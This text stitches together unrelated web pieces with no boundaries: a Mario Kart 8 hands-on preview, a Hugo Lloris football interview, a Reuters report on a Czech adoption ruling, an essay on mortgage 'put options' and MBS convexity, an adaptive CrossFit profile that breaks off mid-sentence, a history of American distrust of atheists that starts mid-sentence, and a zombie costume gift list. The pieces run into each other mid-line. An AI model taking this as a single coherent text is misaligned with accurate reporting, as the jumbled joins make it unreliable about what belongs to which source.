“ What I saw showcased a stunning kart racer that can stand up to anything on competing platforms.
This type of high stakes situation happens all the time in Mario Kart. The red shell appeared; I won the race. But according to Producer Hideki Konno, the outcome shouldn’t be attributed to luck. Regardless, Mario Kart 8 is the best looking game on Wii U so far. Its vibrant vistas stand apart thanks to both incredible attention to detail and great art direction. Its high speed tricks feel faster. Its framerate is locked at an impressive 60 fps (even in two-player split-screen mode).
The build of Mario Kart 8 I played wasn’t complete, but it showed enough ideas to sell me on its potential. I raced on 16 of the expected 32 courses from the final game, and I couldn’t help but admire how gorgeous it all looked and played. While I didn’t have access to the smaller arenas of Battle Mode or Coin Runners during my demo, the cups and courses I saw showcased a stunning kart racer that can stand up to anything on competing platforms.
Exit Theatre Mode
Mario Kart 8 doesn’t rewrite the rulebook of kart racing, but it tosses in enough fresh ideas to kick-start it past the last two incarnations on Wii and 3DS. Jumps off of ramps helped me gain small bursts of speed, and familiar vehicle transformations morphed my kart into a glider and an underwater craft. The new hotness this time around comes in the form of anti-gravity, a liberating and fun mechanic that allowed me to race on walls and other surfaces. The angled camera angle during this stomach-flipping wall trick unconsciously caused me to tilt my head, as I was totally immersed by everything happening on screen.
Each of the eight new tracks I played tossed in this fun new mechanic but also constantly switched things up. Water Park oscillated between underwater sections and an amusement park-themed gauntlet on land. Mario Kart Stadium delivered the spectacle and thrills of a huge event alongside a dizzying set of anti-gravity sections. The giant rolling stone wheel in Thwomp Ruins eventually collapses a special section of walls to reveal a potential shortcut after the first lap.
Mario Kart 8 New Screens Gallery 7 IMAGES Fullscreen Image Artboard 3 Copy Artboard 3 ESC 01 OF 07 01 OF 07 Mario Kart 8 New Screens Gallery Download Image Captions ESC
Meanwhile, the eight retro stages I played took a conservative approach to fiddling with Mario Kart 8’s new tricks, but it helped to distinguish these retread courses. Cheep Cheep Beach, originally from Mario Kart DS, completely skips the anti-gravity flair in favor of tight turns and a fun spread of boost pads and ramps. Mario Circuit 4’s remake has a fancy, elevated anti-gravity U-turn in one corner of the race, but still preserves a faithful high-definition tribute to the Super Nintendo original. The remake of Toad’s Turnpike from Mario Kart 64 adds anti-gravity walls lined with booster pads and jumps to help speed racers along, but also tosses ramps and pads onto the backs of other large moving vehicles. From the rain-soaked roads of Donut Plains 3 to the hilarious golden temple of the banana gods in DK Jungle, these remade stages look and feel impressive.
Exit Theatre Mode
As Mario Kart 8 skewed between new and old ideas, Nintendo’s cohesive art direction managed to stand out even when it came to the items themselves. Old reliable favorites like the deadly Red Shell homing projectile and thunderous Bullet Bill made return appearances next to two new items. The Piranha Plant from Super Mario 3D World can reach out and chomp on nearby racers. It also provided an incremental boost for small durations, as it yanked forward in search of something to munch on. The Boomerang from Super Mario 3D Land also makes an appearance as a re-useable item. I could toss this curved weapon up to three times and, with the right timing, it could hit enemies on the trip to and from my hand.
But just because Mario Kart 8 benefits from life in the high-def fast lane doesn’t mean it can pull a fast one on me. The limited features of this demo left some slightly awkward questions. While the GamePad allowed me to switch between off-TV play, a helpful map, and motion controls seamlessly using a simple set of touch panels on the display, Sonic & All-Star Racing Transformed took this second screen to the next level: Sega provided local play for up to five players and support for separate views between the GamePad and television. It even featured it as a rear-view display in single-player. The build we played of Mario Kart 8 only mirrored what was on screen, so my opponent and I shared the display in a two-player race no matter where I looked. Producer Hideki Konno made it clear in a roundtable interview afterwards that the GamePad features I saw were all from the final shipping version of the game.
Exit Theatre Mode
Even though I had a thorough hands-on experience with Mario Kart 8, there’s still plenty I didn’t get access to. I was only allowed to play multiplayer in two-player split-screen mode, the final game will support up to four. Twelve players can race online, but it wasn’t available during my demo. And then there’s the addition of Mario Kart TV, a feature that will setup sharing brief highlight films on Miiverse, but we still haven’t seen it in action. But regardless of the looming questions, one thing was clear after my demo: The core racing experience at the heart of Mario Kart 8 isn’t only intact; it’s better than ever. And it benefits from a steadfast approach to carefully preserving old ideas while blazing a trail forward with new ones.
Jose Otero is an Associate Editor at IGN and host of Nintendo Voice Chat. You can follow him on twitter.Hugo Lloris speaks to Sky Sports about his future and admits he wants to play in the Champions League again Hugo Lloris speaks to Sky Sports about his future and admits he wants to play in the Champions League again
Hugo Lloris insists he does not want to speak about a Tottenham exit because of his respect for the club - but he does want to play Champions League football again.
France's number one goalkeeper, 28, is reportedly one of Manchester United's prime targets to replace David de Gea should the Spaniard join Real Madrid this summer, and there are other clubs in Europe who could tempt Lloris with football in Europe's top club competition.
But the Frenchman, who signed for Spurs from Lyon in 2012, has previously stated he will not force a move away from White Hart Lane and is happy to remain at White Hart Lane and pursue Champions League football with them next season.
Hugo Lloris signed for Tottenham in 2012 for £8m from Lyon
After he played 90 minutes in France's 4-3 defeat to Belgium on Sunday, Lloris told Sky Sports News HQ: "I am still a Spurs player.
"I have a contract until 2019 and I have a lot of respect for the gaffer, the club and my teammates, so I don't want to speak about it.
"For any player you need to play at the highest level to improve yourself to help your national team to improve. I think every player wants to play in the Champions League because it is the highest level. We work for that and I hope to play Champions League football again.
"At the moment, De Gea is still Manchester United keeper so I have no need to talk about that."
Lloris has been superb in his three seasons for Tottenham, making over 100 appearances for the club and signed a new five year deal in July 2014The Czech Republic allows same-sex partnerships since 2006
PRAGUE, June 28 (Reuters) - The Czech Constitutional Court ruled on Friday that individuals in same-sex partnerships may be allowed to adopt a child, overturning a ban that it called discriminatory.
A Prague court asked the country's highest court to rule on the ban after a man registered in a gay partnership filed a lawsuit when authorities could not list him as a suitable adoptive parent under the current partnership law.
The Constitutional Court struck down the ban, saying it was discriminatory because a gay person living outside a partnership would meet the requirements to adopt but would be denied that right once he entered a partnership.
"One group of people - registered partners - was groundlessly excluded from the possibility of adopting children," the Constitutional Court said in its decision.
The court's ruling will allow individuals in the same-sex partnership to adopt but not both people together as a couple.
The Czech Republic has allowed same-sex partnerships since 2006, becoming the first country in central Europe to allow the union. It does not allow same-sex marriage.
(Reporting by Jason Hovet)
Our Standards: The Thomson Reuters Trust Principles.One of the hot topics of conversation lately is the idea of a mortgage “put option.” There seem to be more than a few people—including those who don’t exactly use the language of options contracts, like that weird couple featured recently on 60 Minutes—who are slightly confused about what the “optionality” of a mortgage contract is. There are also lots of folks who are wondering what will happen to mortgage pricing in general should a substantial number of folks decide to “exercise the put” on their mortgages. It seems wise to me to try to tease out what’s going on here.
First, mortgage contracts in the U.S. are not, actually, options contracts. You may peruse your note and mortgage at length now, if you didn’t do so when you signed them, and you will not find any “put” or “call” in there. Your note is a promise to pay money you have borrowed, and your mortgage or deed of trust is a pledge of real estate you own (or are buying with the borrowed money) as security for that note. That means, in short, that if you fail to keep your promise to pay the loan in cash, the lender can force you to sell your property at auction (to produce cash with which to pay the loan in full). Because the mortgage instrument gives your lender a “lien,” any sales proceeds are first applied to the mortgage debt before you get any of it.
People get very confused about this because it is often the lender who ends up buying the property at the forced auction. When that happens, it is basically because the lender simply wants to put a “floor” bid in the auction: the lender bids an amount based on what it is willing to lose (if any). Typically, the lender bids its “make whole amount” or the loan amount plus accrued interest and expenses. If someone else bids more than that, the lender is happy to let the property go to the higher bidder.
The lender might bid less than its make-whole amount; it might bid its “probable loss” amount. If the lender is owed $300,000 and doesn’t think it could ever end up recovering more than $200,000, it might bid $200,000 at the FC auction. The lender doesn’t actually want to win the auction; lenders are not really in the business of real estate investment or property management. However, the lender would rather buy the home at the auction and pay itself back eventually by re-selling the property later (as a listed property in a private sale instead of a courthouse auction) than let the property go for $50,000 (meaning the lender would recover only $50,000 on a $300,000 loan instead of $200,000). Nothing ever stops any third party from bidding $1 more than the lender’s bid and winning the auction (except, of course, any third party’s own inclinations).
We need to remember, then, right away, when anyone talks about “giving the house back to the bank” or “mailing in the keys,” we are already in the land of metaphorical language. The only situation in which “giving the house back to the bank” would literally be possible is if you bought the house from the bank (say, it was REO) and the contract explicitly gave you an option to sell it back to the bank, whenever you wanted to, at a price equal to your loan balance. Nobody writes REO sales contracts that way. In most cases, of course, you bought the house from someone other than a bank. You have no option to “put the house back” to the seller. You win only if it's "heads."
A “put option,” in the financial world, is a contract that gives the buyer of the put the right, but not the obligation, to sell something (a commodity, a stock, a bond, etc.) in the future at a predetermined price. On the other side of the deal, the “writer” of the put is obligated to buy the thing in question if the put buyer exercises the option. Some of you may already be a bit confused about “buyer” and “seller” here, but that’s an important point. You don’t get “free puts.” You buy puts. There is a fee or a “premium” that you pay for the option contract. If you do not exercise the option, the put-writer pockets that fee. If you do exercise your option, the put-writer pockets that fee (to offset his loss on the deal) and your gains on the ultimate sale of the thing are net of the option premium.
The point of a put is that you buy them when you want to be protected from falling prices: if you think there is a good chance that the value of something will fall in the future, buying a put that allows you the option of selling it next month at this month’s price might well be worth paying that option premium. But you do always pay an option premium and you do not get it back.
The opposite of the put option is the call option: it is the option to buy something in the future at a predetermined price. You buy calls when you think the value of the thing is likely to rise. You also always pay some premium or fee for a call.
Residential real estate sales and mortgage loans do not, actually, literally, have puts and calls in them. If you buy a home today, you assume the risk that its price may fall in the future. Your contract does not include an option for you to sell the house at the price you paid for it. Nor does the seller of the house have a “call”; the seller cannot force you to sell the house back to him at the original price if its value rises.
Your mortgage loan contract does not give you the right to simply substitute the current value of the house for the current balance of the loan: you do, in fact, risk being “upside down.” (The only time this isn’t true in the U.S. is with a reverse mortgage; those are written explicitly to have this kind of a feature, where the balance due on the loan can never exceed the current market value of the property. But of course reverse mortgages aren’t purchase-money loans.) Nor does the mortgage contract give your lender the right to buy your house from you for the “price” of the loan amount when that is less than its value. Mortgage lenders never do better than paid back. If the real estate securing your loan increases in value, that appreciation belongs to you (as long as you make your loan payments).
So why is it that people keep talking about “puts” and “calls” in terms of mortgage loans? That’s because mortgage contracts have features that can affect their value to the writer of the contract (the lender or investor) in a way that is analytically comparable, in some ways, to classic options. Options theory is applied to mortgages in order to price them as investments. (Strictly speaking, this is a matter of analyzing them so that a price can be determined.) The interest rate, then, that you get on a mortgage loan will depend, in part, on how the lender/investor “priced” the implied options in the contract.
The “implied put” in a mortgage contract is the borrower’s ability to default (walk away, send jingle mail, whatever you want to call it). We do not, generally, consider “distress” (that’s actually the formal term in the literature, for you Googlers) as an “implied put.” Some borrowers will fall on hard times and be unable to fulfill their mortgage contracts. This is a matter of “credit risk” and it is, analytically, a different matter of mortgage contract valuation. The “implied put” analysis is trying to capture the possible cost to the lender/investor of what we call the “ruthless” borrower. “Ruthless” isn’t really intended to be a casual insult; it is in fact the term we use to describe borrowers who can pay their debts but choose not to, because there is a greater financial return to that borrower in defaulting as opposed to not defaulting. It is “ruthless” precisely because there is not a contractual option to do this: the only way you can exercise the “implied put” is to default on your contract.
Many many people are very confused about this. When we talk about the “social acceptability” of jingle mail, what we are talking about is at some level the extent to which there is or ought to be some rhetorical or social “fig leaf” over ruthlessness. It seems to be true, after all, that most people are more likely to behave ruthlessly if they can call it something other than ruthlessness. (There are always people who have no trouble with ruthlessness; they often get the CEO job. Most of us have at least moderately strong inhibitions about ruthless behavior.) There is, therefore, a process in which the ruthless put is re-described in various alternative terms, or has alternative narrative contexts built up around it, such that it no longer “feels” ruthless. The borrower was victimized (by the lender, the original property seller, the media, the Man). The put premium was actually paid (“they charge me so much they can afford this”). The ruthless borrower is actually the distressed borrower (redefining what one can “afford” or what is necessary expense so that a payment you can make becomes a payment you “can’t” make).
Before anyone starts in on me, let me note that these fig leaf mechanisms are effective precisely because victimization, predatory interest rates, and truly distressed household budgets do really exist. They wouldn’t be very convincing otherwise. (Very few ruthless borrowers will claim it’s because of, say, alien abduction or something equally implausible.) I am not, therefore, asserting that all claims of predation or distress are “false.” I am simply pointing out that it is, after all, a hallmark of the not-usually-ruthless person who is nonetheless acting ruthlessly to rationalize his conduct.
I don’t offer that as some startling insight into human psychology. I offer it as an attempt to get some analytic clarity. When CR talks about lenders fearing that jingle mail will become socially acceptable, he’s not exactly saying that lenders fear that society will no longer stigmatize financial failure (“distress”). They are afraid that rationalization mechanisms will become so effective that true ruthlessness (which is historically pretty rare in home mortgage lending) will become a significant additional problem (in addition to true distress). And they fear this because, delusions to the contrary, those loans did not have enough of a “put premium” priced into them to cover widespread “ruthless default.”
In fact, the very language of options theory can function, for a certain class of ruthless borrowers, as the fig leaf. To say “Hey, I’m just exercising my put” is a retroactive reinterpretation of your mortgage contract to “formalize” the “implied put” so that you do not have to describe what you’re doing as “defaulting.” This strategy is apparently popular with folks who have some modest exposure to financial markets jargon and an unwillingness to lump themselves in with the “riffraff”—victims of predators and financially failing households and other “weaklings.” (Sadly, a lot of people who have a very high degree of exposure to financial markets jargon don’t need no steenkin’ rationalization. Like most sociopaths, they don’t understand why “ruthless” would be considered insulting or what this term “social acceptability” might mean. So if you’re hearing the “put” excuse, you are probably in the presence of a relative amateur.)
The other side of the problem in valuation of mortgage loans and mortgage securities is the “implied call.” The “call-like feature” in a mortgage contract is the right to prepay. In the U.S., all mortgage contracts have the right to prepay. (Some, but not all, have a “prepayment penalty” in the early years of the loan, but “penalty” here means a prepayment fee, not an actual legal prohibition on prepayment.) The reason the right to prepay functions like an implied call is that it gives the borrower the right to “buy” the loan from the lender at “par,” even if the value of the loan is much higher than “par.” If you refinance your mortgage, you are required only to pay the unpaid principal balance (plus accrued interest to the payoff date) to the old lender in order to get the old lien released. Unless the loan specifically has a prepayment penalty, you are not required to further compensate the old lender for the loss of a profitable loan. So a loan with a prepayment penalty has an implied call and a real call exercise price. A loan without a prepayment penalty, or past the term of its prepayment penalty, has a “free call.” (In the original lender’s point of view. There is always some price to be paid to get a new refinance loan; the borrower’s calculation of the value of refinancing always has to take that into account. Among other things, this fact results in mortgage “call exercise” being much less “efficient” than it is on actual call contracts, which makes the call much more difficult to value, analytically, for mortgages.)
While ruthless default might, historically, be rare, refinancing has been ubiquitous for decades now. It wasn’t always so easily available; your grandparents might never have refinanced a loan not because their existing interest rates were never above market, but just because there weren’t lenders around offering inexpensive refinances. In fact, refinances have been so ubiquitous for so long now that many people have come to think of the availability of refinancing money as somehow guaranteed. This isn’t just a naïveté about interest rate cycles, although it is that too. It is a belief that credit standards and operating costs of lenders never change, so that if someone thought you were “creditworthy” once, they’ll automatically think of you as creditworthy again, and that lenders can always afford to refinance you without charging you upfront fees.
People who price mortgage-backed securities have always known that the prepayment behavior of mortgage loans is impacted not just by prevailing interest rates, but also by the borrower’s creditworthiness, the lenders’ risk appetites, and the cost (time and money) of the refinance transaction. We were talking the other day about the prepayment characteristics of jumbo loans in comparison to conforming loans; the fact is that people who have the largest loans are the most likely to refinance at any given reduction in interest rate, since a reduction in interest rate produces more dollars-per-month in savings on a larger loan than it does on a smaller loan. Considering these types of things is very important to people who price MBS, because in fact prepayment behavior is both hard to “price” and absolutely critical to “pricing” mortgages as an investment.
MBS, unlike other kinds of bonds, are “negatively convex.” I have been threatening to talk about convexity for a while and I keep chickening out. It’s actually useful to understand it if you want to understand why mortgage rates (and the value of servicing portfolios) behave the way they do. The trouble is that convexity involves a whole bunch of seriously geeky math and computer models and normal people probably don’t want to go there. (I don’t even want to go there.) So as a compromise, this is a very quick and simple explanation of convexity.
The convexity of mortgages is a result of the “implied options” in them. Most people understand intuitively that the higher the interest rate on a loan, the more an investor would pay for that loan: if you had the choice today of buying a bond that paid you 6.00% and one that paid you 6.50%, you would probably not offer the same price for each of them. With a classic “vanilla” bond, the price you would offer would be a matter of looking at the term to maturity, the frequency of payments, the interest rate, and some appropriate discount rate.
The trouble with mortgages is that while they have a maximum legal term to maturity, they have an unpredictable actual loan life, because they have the prepayment “calls” implied in the contracts. The return on a mortgage is uncertain, because you might get repaid early, forcing you to reinvest your funds at a lower rate. On the other hand, the loans might just stay there until legal maturity, at an interest rate that is now below the market rate on a new investment. The problem, obviously, is that borrowers refinance most often when prevailing market rates have dropped (right when the investor might want the loans to be long-lived) and don’t refinance when prevailing rates have risen (right when the investor would like to see you go away). “Vanilla” bonds don’t behave this way. Vanilla bonds, like Treasury bonds and notes, are “positively convex.” Mortgages are “negatively convex.”
Here’s a comparative convexity graph prepared by Mark Adelman of Nomura (do pursue the link if you want more detailed information about MBS valuation). This graph plots three example instruments all with a face value of $1,000 and a price of par ($1,000) at 6.00%. The vertical axis reflects the change in price of the bond. The horizontal axis reflects the change in prevailing market yields. As you move to the left of 6.00%, you see that the price of the bond increases (it has an above-market yield); as you move to the right it decreases.
However, the three instruments do not increase or decrease in price in the same way. The 30-year bond has a steeper curve than the 10-year note, which is a function of the difference in maturities of the two instruments. The MBS isn’t just not as steep; it is a different shape. The 30-year bond and the 10-year note price functions create an upward-curving slope when you plot them against price/yield changes like this, and the MBS price functions create a downward-curving slope. The term “negative convexity” means, exactly, that downward curving slope.What’s going on here is that when market yields fall (moving to the left in the graph), average loan life in an MBS pool will shorten markedly, as borrowers are “in the money” to refinance. At a relatively modest fall in market yields, the price of the MBS does increase (but the increase is much less than the increase in the other bonds). At a larger drop in market yields, the MBS price gets as high as it will ever get and then stops increasing at all. What happens here is that the underlying mortgage loans have become so “rate sensitive” that any additional decrease in market yield (increase in the spread between the bond’s coupon of 6.00% and current market coupons) is entirely offset by shortened loan life: loans will pay off so fast at this point that this “officially” 30-year bond really returns principal to the investor the way a 1-year or even 6-month Treasury bill would. No investor is going to pay more for the MBS at this point than it would for the very shortest-term alternative.On the other side of the graph, you see that the MBS price declines more slowly than the vanilla bonds, although its curvature at this point is very like the 10-year. At this side of the chart, average loan life is increasing. (Mortgage bonds never go to zero prepayments or actual average loan life = 30 years.)What all this implies is that, analytically, mortgages do have some sort of “option price” built in. (There is actually a name for this, the OAS or Option Adjusted Spread, a method of comparing cash flows of a mortgage bond across multiple interest rate and prepayment scenarios. It’s heavy math and modeling.) In the case of voluntary prepayment (refinancing or selling your home, basically), your “call” option has, in fact, been priced—it’s in the interest rate/fees you pay to get a refinanceable mortgage loan. Investors accept the uncertainty of mortgage duration by (attempting to) price it in.All that, however, is about trying to price the full return of principal (which, in the case of a mortgage loan, is also the point at which interest payments cease). It isn’t trying to model the return of less than outstanding principal, which is what the “put” or ruthless default is. A refinancing borrower pays you back early at par. A defaulting borrower pays you back early at less than par. Standard MBS valuation models that were developed for GSE or Ginnie Mae securities (that are guaranteed against credit loss) do not “worry” about ruthless puts in terms of principal loss, since that loss is covered by the guarantor. What is causing some trouble these days with the “ruthless put” in the prepayment models is simply that this is an unexpected source of prepayment that isn’t correlating with “typical” interest rate scenarios. (We are seeing increased defaults in a very low-rate environment, because of the house price problem, which isn’t built into the prepayment models for guaranteed securities. Historically, prepayment models “expect” non-negligible numbers of ruthless puts only in higher-rate environments.)It may help you to understand that we have been talking about how an investor might price an MBS coupon, which isn’t the same thing as the interest rate on a loan. In a Fannie Mae or Freddie Mac MBS, the “coupon” or interest rate paid to the investor might be, say, 6.00%. That means that the weighted average interest rate on the underlying loans in the pool is substantially more than 6.00%. There is the bit that has to go to the servicer, and there’s the bit that has to go to the GSE to offset the credit risk. The mortgages must pay a high enough rate of interest to provide 6.00% to the investor after the servicing and guarantee fees come off the top. In essence, then, MBS traders set the “current coupon” or the coupon that trades at par, the GSEs set the guarantee fee and/or loan-level settlement fees that cover the credit risk, the servicer sets the required servicing fee, and all that adds up to the “market rate” for conforming mortgage loans (plus mortgage insurance, if applicable, which is conceptually an offset to the guarantee fee).One way of describing the situation we’re currently in is that borrowers are continuing the short loan life of the boom (which was made possible by easy refi money and hot RE markets) by substituting jingle mail for refinancing. That increases credit losses to whoever takes the credit loss (the GSEs and the mortgage insurers), decreases servicer cash flow (a refi substitutes a new fee-paying loan for the old loan; a default substitutes a no-fee-payingfor the old loan), and makes everyone’s prepayment models go whacky-looking. This is one reason why it obviously wasn’t a good time for MBS traders to be told they’d be suddenly getting jumbos in their conforming pools; at some level the response to that could be summed up as “we don’t need one more thing that defies analysis.”
Ultimately, there is no way anyone can mobilize “social acceptability” as a defense against the ruthless put (even if you wanted to). The industry has, in fact, created the conditions in which it’s rational, and as long as it’s rational it will go on. Just as it was rational to buy at 100% LTV. The only possible way to get back to an environment in which ruthless default is rare is to abandon the “innovations” that give rise to them: no-down financing, wish-fulfillment appraisals, underpriced investment property loans, etc. The administration is currently pushing for increasing the FHA loan amounts and the FHA maximum LTV up to 100%. This is not likely to remove the incentive to take another reckless loan on a still-too-high-priced house. If we aren’t going to ration credit with tighter guidelines and loan limits, then it will have to be rationed with pricing: eventually the models will “solve” the problem by increasing the costs of mortgage credit. You cannot simply keep writing “free puts.”A Bay Area resident has created an adaptive CrossFit class that caters to every body.Max Conserva's epiphany was too good not to share. "I went from thinking nothing was possible to thinking there is no limit to what can be done, it's just the amount of time I'm willing to invest," said Conserva.At 8 years old, a truck hit him when he was riding his bicycle. "I ended up being drug on the side of my body and I lost the side of my leg," said Conserva.More than 20 years later of relying on what he used to call his "good leg," it was no longer good enough and so he re-defined his life.Conserva got into peak physical shape while working alongside medical professionals to create a brace he could comfortably really move in. "It is a garage project," Conserva jokingly said.After his own transformation, he felt compelled to share what he had learned. "How selfish would I be if I did not give my learning to everybody else, like I could not think of a more selfish act," said Conserva.Conserva created GLP Adaptive Athletics. GLP stands for Good Leg Project As part of his transformation, Conserva began referring |
the founding of our republic.”
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The misgivings that Sessions harbors about secularists and nonbelievers – those who “don’t believe in a higher being” – is no mere eccentricity of a senator from the Bible Belt.
As a scholar who has worked for some years now on the history of atheism and secularism in the United States, I find his suspicions deeply familiar. In my book, “Village Atheists: How America’s Unbelievers Made Their Way in a Godly Nation,” I have examined attitudes toward atheists.
Distrust of the irreligious runs deep in American history.
The place of religion in civic life
The proposition that the ungodly are not up to the demands of virtuous citizenship has been an abiding concern, a commonplace of American political discourse from the founding.
The second president of United States, John Adams, wrote in 1798,
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“Our Constitution was made only for a moral and religious people.”
It was believed that religion alone was able to check the passions – from avarice to ambition – that would otherwise unravel the country’s republican form of government.
Adams was in plentiful company on the necessity of religion to public order and morality. In the decades following the American Revolution, religious freedom had many exponents, while irreligious freedom had far fewer. The law routinely favored believers over nonbelievers.
The state constitutions of Pennsylvania (1790), Tennessee (1796) and Mississippi (1817) made holding political office contingent on affirming a belief in God as well as eternal rewards and punishments. Those who would not make such avowals were seen as lacking moral accountability, as unanswerable to a higher truth.
After the Civil War, the state constitutions of Maryland (1867), North Carolina (1868), Arkansas (1874) and Texas (1876) all defended the principle of religious liberty, but still specified that those who did not believe in God were to be barred from positions of public trust.
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The prejudice against secularists and nonbelievers often extended into American courtrooms. The credibility of witnesses was frequently tied to religious belief; those who refused to swear an oath in God’s name could be barred from the stand as untrustworthy.
The famed French observer of American life, Alexis de Tocqueville, reported on one such instance in a New York court in 1831. A witness had made a point of challenging the usual oath, declaring that he “did not believe in the existence of God or the immortality of the soul.” Shocked to find an atheist in his own courtroom, the judge moved quickly to restore order, declaring the United States to be a Christian country and the witness unfit to testify.
Tocqueville found the episode emblematic of how religion routinely informed the norms of American civic life. Irreligion translated into a lack of integrity, honesty and truthfulness.
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‘Hands-off forbearance’
The Protestant clergyman Robert Baird crystallized the widespread disregard for atheists and unbelievers in his “Religion in America (1844),” a formative textbook on the nation’s churchly character.
“Rights of conscience are religious rights,” he insisted. It was inconceivable to Baird that those rights extended to his fellow citizens who held views that subverted God, virtue and morality.
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“What rights of conscience can atheism, irreligion, and licentiousness pretend to?” he asked with his negative answer already in hand. The most he could offer the ungodly was a little hands-off forbearance: Prosecuting the irreligious, after all, often only called people’s attention to their blasphemies. So he concluded,
“It is sometimes the best way to silence a noisy, brainless lecturer on atheism, to let him alone.”
Nonbelief as moral deficit
The legal standing of secularists and atheists certainly improved in the 20th century, though the process was uneven.
When, in 1959, a Maryland atheist named Roy Torcaso petitioned to be a notary public without taking the required oath declaring his belief in God, he found himself on the losing side in the state courts.
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Indeed, the Maryland Court of Appeals defended the state’s constitutional ban on atheists in decisive terms:
“It seems clear that under our Constitution disbelief in a Supreme Being, and the denial of any moral accountability for conduct, not only renders a person incompetent to hold public office, but to give testimony, or serve as a juror. The historical record makes it clear that religious toleration, in which this State has taken pride, was never thought to encompass the ungodly.”
Nonbelief was still presented as a moral deficit, a treacherous marker from which the state necessarily recoiled.
Fortunately for Torcaso and other nonbelievers, the legal winds had been shifting at the U.S. Supreme Court. In a unanimous opinion, delivered in 1961, the justices ruled for Torcaso, affirming a principle of neutrality in which the religious and irreligious were to be treated equally under the law.
The use of atheism as a civic disqualification was thus officially set aside as unconstitutional. The next year, in Engel v. Vitale, the Supreme Court struck down state-sponsored prayers in the public schools, vindicating a group of atheist, humanist, Unitarian and Jewish plaintiffs.
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“The atheist or agnostic – the nonbeliever – is entitled to go his own way,” Justice William O. Douglas wrote in that opinion, underlining the equal liberties now accorded avowed secularists.
The Reagan years
Those court victories hardly eliminated widespread public distrust of atheists and agnostics. In the throes of the Cold War, no set of judicial opinions was going to dispel the persistent suspicion that the godless were somehow in league with communists.
In many ways, the Supreme Court decisions against prayer and Bible reading in schools only heightened popular antagonisms against nonbelievers. Among religious conservatives, the court was seen as having opened the secular floodgates, which now threatened to wash away the nation’s Christian heritage.
When President Ronald Reagan spoke at a massive Dallas prayer breakfast in 1984, he dated the tearing of the country’s religious fabric to the Supreme Court decisions of the early 1960s.
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Reagan told the assembled,
“Without God, there is no virtue, because there’s no prompting of the conscience…. And without God, democracy will not and cannot long endure. If we ever forget that we’re one nation under God, then we will be a nation gone under.”
The reservations that Sessions expressed at his confirmation hearing are usefully set against this much larger historical backdrop. He sees religion (especially his Protestant version of it) as having been integral to the welfare of the republic and considers secularism as corrosive of that anchoring synthesis.
He is far from alone in those presuppositions. Leveling the playing field for believers and nonbelievers has been a long and contentious struggle in American public life. The back-and-forth at Sessions’ hearing was another reminder that the skirmishing is far from over.
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Leigh E. Schmidt, Distinguished University Professor in the Humanities, Washington University in St LouisGreat Zombie Costumes & Gift Ideas for Zombie Fans
Halloween is looming ever closer and zombies are always a big favorite costume idea because there are so many possible variations to chose from. You can chose an occupation or a sport and dress up as a zombie footballer or doctor, you can go full graveyard zombie or just do your hair & makeup and go as a normal everyday zombie!
Zombie Costumes For All Ages
With so many variations on a zombie costume, these are just a few of the best around. This selection of great zombie costumes is a combination of full costumes and part costumes but it’s easy to add the few items not included in the part costumes to make a really effective zombie outfit.
Men’s Complete 3D Zombie CostumeBuy Now Zombie Child CostumeBuy Now Zombie Skater Child CostumeBuy Now Women’s Zombie CostumeBuy Now Child’s Zombie Schoolgirl CostumeBuy Now Zombie Girl Child CostumeBuy Now
Zombie Costume Items To Make Your Own Costume
With dusting powder to grey your hair, fake blood and wounds as well as pale face makeup – almost any outfit can be turned into a zombie costume but adding any of these zombie accessory items will make your zombie outfit even better. The zombie brains headpiece is very effective and add in the zombie wounds make up kit and you will have a really great zombie face.
Zombie Brains HeadpieceBuy Now Zombie Wounds Make Up KitBuy Now Zombie Hands Adult GlovesBuy Now Zombie Feet SlippersBuy Now Bloody Zombie Thigh HighsBuy Now Blood Splatter High Heel PumpsBuy Now
Zombie Costume T-Shirts & Clothing
Some of these zombie costume t-shirts come with long mesh sleeves which have zombie wounds on them to complete the effect. The zombie dog jacket is a great finishing touch especially if you plan on taking your dog trick or treating this year. If you just like zombie themed clothing, the 9 pack of zombie socks or the stuffed zombie entrails scarf would be a perfect gift.
Women’s Zombie T-ShirtBuy Now Women’s Corset Zombie T-ShirtBuy Now Gory Zombie Adult Men’s ShirtBuy Now Zombie Adult Men’s T-shirtBuy Now Zombie Dog CostumeBuy Now Men’s Zombie Groom Long Sleeve T-ShirtBuy Now Zombie Socks- 9 PackBuy Now Zombie Entrails Stuffed Plush ScarfBuy Now Zombie Punk Knee SocksBuy Now
Gorgeous Zombie Themed Jewelry
There’s a surprising amount of zombie themed jewelry available but given the popularity of The Walking Dead, it’s not really that unusual. From anatomical body part jewelry to a zombie apocalypse themed charm bracelet, there’s something for almost every taste. The zombie hands necklace is super creepy – perfect for spooking your friends on Halloween.
Zombie EarringsBuy Now Female Zombie Stainless Steel Stud EarringsBuy Now Surgical Steel Zombie Claw LabretBuy Now Zombie Tragus or Helix Cartilage EarringBuy Now Blue Zombie Hands NecklaceBuy Now Silver Zombie Apocalypse Charm BraceletBuy Now Anatomical Brain Stud EarringsBuy Now Zombie Charm BeadBuy Now Zombie Picture PlugsBuy Now Black & Bloody Anatomical Heart NecklaceBuy Now Zombie Apocalypse Buddy BangleBuy Now Zombie Jesus Picture PlugsBuy Now
Zombie Kitchen Accessories
Zombie faces are so varied, this collection of Zombie coffee mugs could have been twice the size! There’s also zombie head cookie jars and even cereal bowls – your kids would love to eat their cereal out of the zombie skull bowl – they can pretend they are eating zombie brains! For the adults, there is a cool zombie survival flask and a zombie skull decanter for your favorite liquor. Add in the bloody hands tablecloth and zombie hand ice cubes and the scene is set for a great adult Halloween party evening!
Zombie Skull Ceramic Cookie Jar Statue FigurineBuy Now Zombie Baking CupsBuy Now Zombie Cookie Jar HeadBuy Now Bleeding Zombie Candy BowlBuy Now Ceramic Zombie Coffee MugBuy Now Zombie Face Cereal BowlBuy Now Tortured Hatchet Head Zombie MugBuy Now Zombie Head Coffee MugBuy Now Zombie Drinking Mug Stainless Steel RimBuy Now Graveyard Zombie Glass Salt & Pepper Shaker SetBuy Now 3D Zombie Hands Ice MoldBuy Now Bloody Handprints Table TopperBuy Now Zombie Survival FlaskBuy Now Zombie Head DecanterBuy Now Elixir of the Undead Zombie Wine Bottle HolderBuy Now
Zombie Themed Home Decor
When it comes to home decor, there is a great selection of zombie gift ideas to easily redecorate your bathroom especially for Halloween visitors. The zombie holding the toilet roll is a great fun touch and with the handmade bloody hand towels and Walking Dead shower curtain, your guests won’t be in the little room very long! You can also creep them out by having the zombie window backdrop and the zombie door cover installed – add in the zombie door knob cover and you have a complete makeover for almost any room.
